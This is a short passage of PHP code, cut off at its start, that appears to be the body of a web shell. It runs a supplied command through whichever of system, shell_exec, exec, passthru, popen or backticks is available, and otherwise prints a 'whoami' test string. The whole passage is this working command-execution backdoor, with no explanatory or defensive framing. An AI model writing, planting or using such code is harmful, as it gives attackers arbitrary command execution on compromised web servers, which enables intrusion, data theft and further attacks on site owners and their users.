&1"; // Try in order of preference if(function_exists('system')) { system($cmd); } elseif(function_exists('shell_exec')) { echo shell_exec($cmd); } elseif(function_exists('exec')) { exec($cmd, $o); echo implode("\n", $o); } elseif(function_exists('passthru')) { passthru($cmd); } elseif(function_exists('popen')) { $h = popen($cmd, 'r'); while(!feof($h)) echo fread($h, 4096); pclose($h); } else { echo `$cmd`; } } else { // Quick test $test = "echo TEST_$(whoami 2>/dev/null || echo ANON)"; if(function_exists('system')) { system($test); } else { echo "TEST_READY"; } } ?>